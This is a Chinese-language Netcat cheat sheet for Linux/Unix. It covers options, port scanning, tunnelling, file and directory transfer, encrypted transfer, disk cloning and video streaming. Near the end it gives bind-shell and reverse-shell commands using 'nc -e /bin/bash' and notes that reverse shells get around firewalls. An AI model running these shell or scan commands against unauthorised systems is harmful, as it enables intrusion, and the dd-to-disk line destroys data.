該備忘單提供了在 Linux 和 Unix 上使用 Netcat 的各種方法。
連接到位于任何地方的主機
$ nc [options] [host] [port]
監聽傳入連接
$ nc -lp port [host] [port]
選項 | 示例 | 說明 |
---|---|---|
-h | nc -h | 幫助 |
-z | nc -z 192.168.1.9 1-100 | 端口掃描主機或 IP 地址 |
-v | nc -zv 192.168.1.9 1-100 | 提供詳細輸出 |
-n | nc -zn 192.168.1.9 1-100 | 通過禁用 DNS 解析進行快速掃描 |
-l | nc -lp 8000 | TCP 偵聽模式 (用于入站連接) |
-w | nc -w 180 192.168.1.9 8000 | 定義超時值 |
-k | nc -kl 8000 | 斷線后繼續收聽 |
-u | nc -u 192.168.1.9 8000 | 使用 UDP 而不是 TCP |
-q | nc -q 1 192.168.1.9 8000 | 客戶在 EOF 后熬夜 |
-4 | nc -4 -l 8000 | 僅限 IPv4 |
-6 | nc -6 -l 8000 | 僅限 IPv6 |
服務器 Server (192.168.1.9)
$ nc -lv 8000
客戶端 Client
$ nc 192.168.1.9 8000
$ nc website.com 80
GET index.html HTTP/1.1
HEAD / HTTP/1.1
或者
echo "" | nc -zv -wl 192.168.1.1 801-805
掃描 21
到 25
之間的端口
$ nc -zvn 192.168.1.1 21-25
掃描端口 22
、3306
和 8080
$ nc -zvn 192.168.1.1 22 3306 8080
$ nc -lp 8001 -c "nc 127.0.0.1 8000"
或者
$ nc -l 8001 | nc 127.0.0.1 8000
創建從一個本地端口到另一個本地端口的隧道
服務器 Server (192.168.1.9)
$ nc -lv 8000 < file.txt
客戶端 Client
$ nc -nv 192.168.1.9 8000 > file.txt
假設您想將文件 file.txt
從服務器 A 傳輸到客戶端 B。
服務器 Server (192.168.1.9)
$ nc -lv 8000 > file.txt
客戶端 Client
$ nc 192.168.1.9 8000 < file.txt
假設您想將文件 file.txt
從客戶端 B
傳輸到服務器 A
服務器 Server (192.168.1.9)
$ tar -cvf – dir_name | nc -l 8000
客戶端 Client
$ nc -n 192.168.1.9 8000 | tar -xvf -
假設您想通過網絡將目錄從 A
傳輸到 B
服務器 Server (192.168.1.9)
$ nc -l 8000 | openssl enc -d -des3 -pass pass:password > file.txt
客戶端 Client
$ openssl enc -des3 -pass pass:password | nc 192.168.1.9 8000
在通過網絡傳輸之前加密數據
服務器 Server (192.168.1.9)
$ dd if=/dev/sda | nc -l 8000
客戶端 Client
$ nc -n 192.168.1.9 8000 | dd of=/dev/sda
克隆 linux PC 非常簡單。假設你的系統盤是 /dev/sda
服務器 Server (192.168.1.9)
$ cat video.avi | nc -l 8000
客戶端 Client
$ nc 192.168.1.9 8000 | mplayer -vo x11 -cache 3000 -
使用 netcat 流式傳輸視頻
服務器 Server (192.168.1.9)
$ nc -lv 8000 -e /bin/bash
客戶端 Client
$ nc 192.168.1.9 8000
我們已經使用 telnet
和 ssh
使用遠程 Shell
,但是如果它們沒有安裝并且我們沒有安裝它們的權限,那么我們也可以使用 netcat
創建遠程 shell
服務器 Server (192.168.1.9)
$ nc -lv 8000
客戶端 Client
$ nc 192.168.1.9 8000 -v -e /bin/bash
反向 shell
通常用于繞過防火墻限制,例如阻止入站連接